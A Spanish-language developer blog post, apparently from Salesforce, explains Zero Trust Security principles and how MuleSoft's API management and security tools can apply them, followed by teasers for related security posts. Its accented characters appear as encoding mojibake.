Roma no se construy贸 en un d铆a… pero casi se arruin贸 en una noche. Eso es lo que tienen los imperios, son fr谩giles. Al igual que la confianza. Podemos extender a煤n m谩s esta analog铆a a nuestra arquitectura empresarial; se necesita mucho tiempo y un gran esfuerzo para construir una organizaci贸n exitosa y ganarse la confianza del cliente, pero un percance de seguridad puede reducir todos los escombros de sus esfuerzos.


En 2022, todos escuchamos sobre la filtraci贸n del juego GTA 6 justo antes de su fecha de lanzamiento. Esta filtraci贸n fue lo suficientemente grande como para poner en problemas financieros al editor del juego, y hubo especulaciones de que una persona interna, como un empleado, estaba involucrada. Entonces la pregunta es: "驴A qui茅n debemos confiar con la seguridad?" La seguridad es tan fuerte como el eslab贸n m谩s d茅bil.

Y la respuesta es: 鈥淣o conf铆es en nadie鈥, y eso es lo que nos lleva a Zero Trust Security (ZTS) .

ZTS es un marco arquitect贸nico que tiene como objetivo proteger a las organizaciones de amenazas de seguridad, ataques y violaciones de datos al cumplir con los protocolos de seguridad en cada punto de acceso.

Antes de ZTS, la seguridad basada en el per铆metro era el enfoque popular. En la seguridad perimetral, autenticamos y autorizamos a la entidad solo a nivel perif茅rico mediante firewalls, redes privadas virtuales, etc. Una vez que la entidad obtiene acceso, puede acceder a todos los recursos. El movimiento lateral no autorizado ha sido una de las principales preocupaciones en la seguridad perimetral.

Por el contrario, ZTS impone autenticaci贸n y autorizaci贸n en cada punto de entrada. En general, podemos aplicar ZTS a aplicaciones empresariales, aplicaciones nativas de la nube, API, etc. En esta publicaci贸n de blog, nos centraremos principalmente en implementar ZTS para API y explorar lo que MuleSoft tiene para ofrecer en lo que respecta a Zero Trust Security.

Principios b谩sicos de ZTS

Todo el concepto de ZTS se basa en los siguientes cuatro principios b谩sicos:

  • No conf铆e en nadie y verifique siempre : independientemente de la persona (cliente, director ejecutivo, desarrollador, etc.), autenticamos y autorizamos su acceso en cada etapa. Si hay m煤ltiples puntos de entrada para obtener acceso a un recurso en particular, debemos aplicar la validaci贸n en cada punto de entrada. Utilizamos Gesti贸n de Identidad y Acceso (IAM) y autenticaci贸n multifactor (MFA), y aplicamos pol铆ticas de seguridad.
  • M铆nimos privilegios y denegaci贸n predeterminada : De forma predeterminada, se denegar谩 el acceso a todos los recursos. Una vez que la entidad est谩 autenticada y autorizada, seg煤n la credencial, podemos otorgar acceso con los privilegios m铆nimos. Necesitamos asegurarnos de que estamos autorizando solo los recursos esenciales. Podemos controlar el acceso para diferentes roles utilizando el modelo de acceso basado en roles y modificar los privilegios en consecuencia.
  • Inspecci贸n completa y visibilidad del flujo de datos : debemos asegurarnos de que haya transparencia en el flujo de datos. Debemos tener cuidado con el registro de la carga 煤til, ya que podr铆a involucrar informaci贸n confidencial. Si hay m煤ltiples sistemas finales y API involucrados, deber铆amos tener una visi贸n general de 360 grados de la arquitectura del sistema y el flujo de datos. De esta forma, podemos controlar el mal uso de informaci贸n sensible y la fuga de informaci贸n.
  • Gesti贸n de control centralizado: Para implementar fuertes medidas de seguridad, necesitamos un centro de gesti贸n centralizado. Esto nos permitir谩 aplicar medidas de seguridad en todas las entidades. Tambi茅n nos da un control completo sobre la infraestructura de la organizaci贸n desde una perspectiva de seguridad. API Manager es un lugar para dejar de administrar aplicaciones API, Mule y Non-MuleSoft. Puede administrar, proteger y gobernar aplicaciones con la ayuda de API Manager.

Implementaci贸n de seguridad de confianza cero

Es muy probable que su infraestructura existente ya tenga algunas medidas de seguridad implementadas. Para implementar ZTS, no tiene que comenzar a construir todo desde cero o reconstruir su infraestructura de seguridad existente. Todo lo que necesita hacer es planificar bien las medidas de seguridad e identificar las lagunas. Puede lograr esto adoptando un enfoque de microsegmentaci贸n o seguridad en capas.

Microsegmentaci贸n o enfoque de seguridad en capas

Esta es una t茅cnica en la que dividimos la infraestructura en niveles o segmentos y luego aplicamos medidas de seguridad. Tambi茅n podemos considerarlo como "divide y vencer谩s", donde estamos dividiendo la gran infraestructura en fragmentos m谩s peque帽os para una mejor seguridad y control. Este enfoque nos brinda seguridad a nivel granular.

Podemos implementar los principios b谩sicos de ZTS de la siguiente manera:

  1. Enumere todos los activos, sistemas finales, aplicaciones, datos y puntos finales de API. Comprobar el estado del dispositivo y del sistema. Implemente la autenticaci贸n de extremo a extremo y no permita el acceso lateral.
  2. Resuma el flujo de datos y las conexiones. Dise帽e su infraestructura actual.
  3. En funci贸n de la criticidad de la informaci贸n, identificar las pol铆ticas de seguridad a aplicar en cada punto de entrada. Implemente el acceso basado en roles y pol铆ticas.
  4. Haga cumplir la implementaci贸n de seguridad a trav茅s de un sistema de gesti贸n central y supervise su infraestructura.

ZTS con MuleSoft

Es posible que ya est茅 familiarizado con las capacidades de integraci贸n de MuleSoft y c贸mo aprovechar la conectividad dirigida por API para construir una infraestructura componible. Lo siguiente lo ayudar谩 a comprender c贸mo implementar ZTS usando las capacidades de seguridad de MuleSoft.

Tomemos en consideraci贸n una arquitectura componible creada con conectividad dirigida por API (vea la imagen a continuaci贸n). La l铆nea exterior punteada en rojo denota seguridad basada en el per铆metro, ya que estamos aplicando seguridad en un nivel perif茅rico. Para aplicar ZTS, aplicaremos medidas de seguridad en cada capa de la API y en todo el punto final de la API. Las l铆neas internas de puntos rojos en la capa de proceso indican que hemos aplicado una pol铆tica de eliminaci贸n de encabezado y autenticaci贸n b谩sica en el punto de entrada de la capa de experiencia a la capa de proceso.


驴C贸mo logramos ZTS con MuleSoft?

  1. Aplicaci贸n de pol铆ticas de seguridad listas para usar: MuleSoft ofrece varias pol铆ticas de seguridad listas para usar, desde la autenticaci贸n b谩sica hasta OAuth y JWT. Podemos aplicar f谩cilmente estas pol铆ticas en nuestro nivel de puerta de enlace API utilizando Anypoint API Manager . Tambi茅n podemos personalizar estas pol铆ticas para cumplir con los est谩ndares y regulaciones de nuestra organizaci贸n.
  2. Creaci贸n de entornos seguros: podemos aplicar la protecci贸n contra amenazas en cada per铆metro perimetral de forma autom谩tica mediante Anypoint Security en una plataforma que cumpla con las normas ISO 27001, SOC 1 y 2, HIPAA, PCI DSS y GDPR.
  3. Registro y monitoreo efectivos: podemos lograr transparencia utilizando las capacidades de registro y monitoreo de MuleSoft, y usar API Catalog CLI para descubrir y catalogar nuestras API.
  4. Gobernanza continua : utilizamos Anypoint API Governance para identificar, validar y hacer cumplir las mejores pr谩cticas de seguridad para las API, como OWASP Top 10, desde el dise帽o hasta la implementaci贸n.

Conclusi贸n


En este blog, hemos aprendido sobre Zero Trust Security y sus principios b谩sicos. Tambi茅n somos conscientes de la diferencia entre la seguridad basada en el per铆metro y ZTS, y por qu茅 ZTS es importante. Adem谩s, hemos aprendido c贸mo podemos implementar ZTS usando MuleSoft y las capacidades de seguridad que MuleSoft tiene para ofrecer.

Recursos

Sobre el Autor

Akshata Sawant es promotora s茅nior de desarrolladores en Salesforce. Es autora, bloguera y oradora, y coautora del t铆tulo, MuleSoft for Salesforce Developers . Akshata es un miembro activo de la comunidad de MuleSoft y ex embajador de MuleSoft. Le encanta leer, bailar, viajar y la fotograf铆a, y es una gran entusiasta de la comida. S铆guela en Twitter y LinkedIn.

Obtenga las 煤ltimas publicaciones de blog de desarrolladores de Salesforce y episodios de podcast a trav茅s de Slack o RSS.

Agregar a Slack Suscr铆bete a RSS

Continue reading

Prepare su aplicaci贸n para pasar la revisi贸n de seguridad de AppExchange 鈽侊笍

Prepare su aplicaci贸n para pasar la revisi贸n de seguridad de AppExchange 鈽侊笍

Esta gu铆a se public贸 originalmente en Medium en 2021 y se actualiz贸 con la orientaci贸n y los consejos m谩s recientes, incluidas las nuevas funciones de seguridad como parte de los lanzamientos recientes y la nueva estructura de precios para las revisiones.

La publicaci贸n Prepare su aplicaci贸n para pasar la revisi贸n de seguridad de AppExchange apareci贸 primero en el blog de desarrolladores de Salesforce .

Continue reading

Uso del flujo de credenciales del cliente para una autenticaci贸n API m谩s sencilla 鈽侊笍

Uso del flujo de credenciales del cliente para una autenticaci贸n API m谩s sencilla 鈽侊笍

Las API de Salesforce ahora son compatibles con las credenciales de cliente de OAuth, lo que facilita m谩s que nunca establecer integraciones de servidor a servidor que no necesariamente necesitan el contexto del usuario.

La publicaci贸n Uso del flujo de credenciales del cliente para una autenticaci贸n API m谩s sencilla apareci贸 primero en el blog de desarrolladores de Salesforce .

Continue reading

Mejore la disponibilidad en su organizaci贸n 鈽侊笍

Est茅 atento a estos antipatrones comunes y utilice estas estrategias para evitarlos y mejorar la disponibilidad en su organizaci贸n.

La publicaci贸n Mejore la disponibilidad en su organizaci贸n apareci贸 por primera vez en el blog de desarrolladores de Salesforce .

Continue reading

Una experiencia de desarrollador completa en Heroku, funciones de Salesforce y AWS 鈽侊笍

En Salesforce, la innovaci贸n es uno de nuestros valores fundamentales. Con eso en mente, nos comprometemos a innovar en las tecnolog铆as de la plataforma Salesforce, como Heroku y Salesforce Functions, as铆 como a trav茅s de nuestra asociaci贸n con AWS, para unificar y mejorar la experiencia del desarrollador. En esta publicaci贸n de blog, le brindamos una descripci贸n general de nuestras actualizaciones recientes, nuestro [鈥

La publicaci贸n Una experiencia de desarrollador completa en Heroku, Salesforce Functions y AWS apareci贸 por primera vez en el blog de desarrolladores de Salesforce .

Continue reading

Salesforce Private Connect para AWS est谩 disponible en todo el mundo 鈽侊笍

Hoy, nos complace anunciar la disponibilidad global de nuestro servicio Private Connect. Con Private Connect, los clientes pueden implementar integraciones de API entre Salesforce y AWS que se enrutan de forma privada y evitan el tr谩fico p煤blico de Internet. Es m谩s f谩cil que nunca para los equipos de desarrollo cumplir con los requisitos reglamentarios y de seguridad a medida que construyen integraciones que impulsan [鈥

La publicaci贸n Salesforce Private Connect para AWS est谩 disponible en todo el mundo apareci贸 por primera vez en el blog de desarrolladores de Salesforce .

Continue reading

Anuncio de la certificaci贸n PCI para las funciones de Salesforce 鈽侊笍

Nos enorgullece anunciar que Salesforce Functions est谩 certificado como proveedor de servicios de nivel 1 de PCI. Los clientes ahora pueden procesar datos de tarjetas de pago y dise帽ar su entorno de datos de titulares de tarjetas (CDE) de forma segura y a escala utilizando las funciones de Salesforce. Este es un hito importante para brindar garant铆as a nuestros clientes de que pueden procesar y ejecutar [鈥

La publicaci贸n Anuncio de la certificaci贸n PCI para las funciones de Salesforce apareci贸 primero en el blog de desarrolladores de Salesforce .

Continue reading

Presentamos ShadowRealm 鈽侊笍

El equipo de est谩ndares y plataforma web de Salesforce est谩 defendiendo la creaci贸n de nuevas funciones que se ejecutan de forma nativa en los navegadores web. Esta publicaci贸n describir谩 c贸mo la nueva API ShadowRealm de EcmaScript mejorar谩 los mecanismos de seguridad e integridad de Salesforce, y c贸mo se puede usar como un bloque de construcci贸n para marcos de virtualizaci贸n, como Lightning Web [鈥

La publicaci贸n Introducci贸n a ShadowRealm apareci贸 primero en el blog de desarrolladores de Salesforce .

Continue reading

The Codey Awards: celebrando el mejor contenido de 2021 鈽侊笍

2021 fue un GRAN a帽o para los desarrolladores de Salesforce. Vimos innumerables funciones nuevas y emocionantes, innovaciones inspiradoras en toda la comunidad y asistimos a algunos eventos incre铆bles, en persona y virtualmente. Celebramos los mejores momentos destacados del contenido de 2021 y se los traemos con The Codeys. Sigue leyendo para ver la lista y ponte al d铆a con cualquier [鈥

La publicaci贸n Los premios Codey: celebrando el contenido principal de 2021 apareci贸 primero en el blog de desarrolladores de Salesforce .

Continue reading

T茅cnicas de cifrado y firma en Apex 鈽侊笍

Las fallas criptogr谩ficas es la segunda categor铆a m谩s importante de vulnerabilidades enumeradas en el Top 10 de OWASP para 2021. En esta publicaci贸n de blog, cubriremos t茅cnicas para cifrar y codificar datos en Apex cuando esos datos deben transmitirse hacia o desde un sistema externo. Compartiremos ejemplos de c贸digo y explicaremos cu谩ndo elegir [鈥

La publicaci贸n T茅cnicas de cifrado y firma en Apex apareci贸 primero en el Blog de desarrolladores de Salesforce .

Continue reading

Seguridad para desarrolladores de Salesforce 鈽侊笍

En Salesforce, la confianza es nuestro valor n煤mero uno. Cuando cree aplicaciones en la plataforma Salesforce, tenga la seguridad de que residen en un entorno seguro. Implementamos las mejores pr谩cticas y est谩ndares de seguridad de la industria en todas las capas, desde la infraestructura hasta el c贸digo de la aplicaci贸n. Brindamos m煤ltiples opciones de configuraci贸n que le permiten implementar una seguridad de datos efectiva [鈥

La publicaci贸n Seguridad para desarrolladores de Salesforce apareci贸 primero en el Blog de desarrolladores de Salesforce .

Continue reading

Modificadores de acceso seguros a Apex para la actualizaci贸n de seguridad de Summer '21 鈽侊笍

En la versi贸n Summer '21, una actualizaci贸n de seguridad obligatoria aplicar谩 modificadores de acceso en las propiedades de Apex en el marcado de componentes Lightning. En esta publicaci贸n, compartiremos lo que implica la actualizaci贸n de seguridad y presentaremos una herramienta que lo ayuda a detectar las propiedades de Apex que est谩n potencialmente afectadas. Acerca de la actualizaci贸n de seguridad Dado que la confianza es nuestro valor n煤mero uno, [鈥

La publicaci贸n Secure Apex Access Modifiers for Summer '21 Security Update apareci贸 primero en el Blog de desarrolladores de Salesforce .

Continue reading

Aumente la seguridad auditando a sus usuarios privilegiados con SOQL 鈽侊笍

Parte del desarrollo de aplicaciones seguras consiste en realizar auditor铆as peri贸dicas de los permisos de los usuarios. Teniendo en cuenta el principio de privilegio m铆nimo, los desarrolladores y administradores deben monitorear constantemente los permisos clave en cada organizaci贸n de Salesforce para asegurarse de que no hayan sobreaprovisionado privilegios especiales a sus usuarios finales. No hacerlo puede tener graves consecuencias y, si bien puede [鈥

La publicaci贸n Aumente la seguridad auditando a sus usuarios privilegiados con SOQL apareci贸 primero en el Blog de desarrolladores de Salesforce .

Continue reading

Controle el acceso a registros confidenciales con reglas de restricci贸n (ahora en versi贸n Beta) 鈽侊笍

En Summer '21, le presentamos una forma completamente nueva de administrar el control de acceso de su organizaci贸n. Presentamos reglas de restricci贸n, una funci贸n de uso compartido f谩cil de administrar que le permite otorgar acceso a los registros de una manera segura y granular. Simplemente elija qu茅 usuarios deben ver qu茅 subconjunto de registros, 隆y listo! Sin reglas de restricci贸n, los usuarios que tienen acceso a [鈥

La publicaci贸n Control de acceso a registros confidenciales con reglas de restricci贸n (ahora en versi贸n Beta) apareci贸 primero en el Blog de desarrolladores de Salesforce .

Continue reading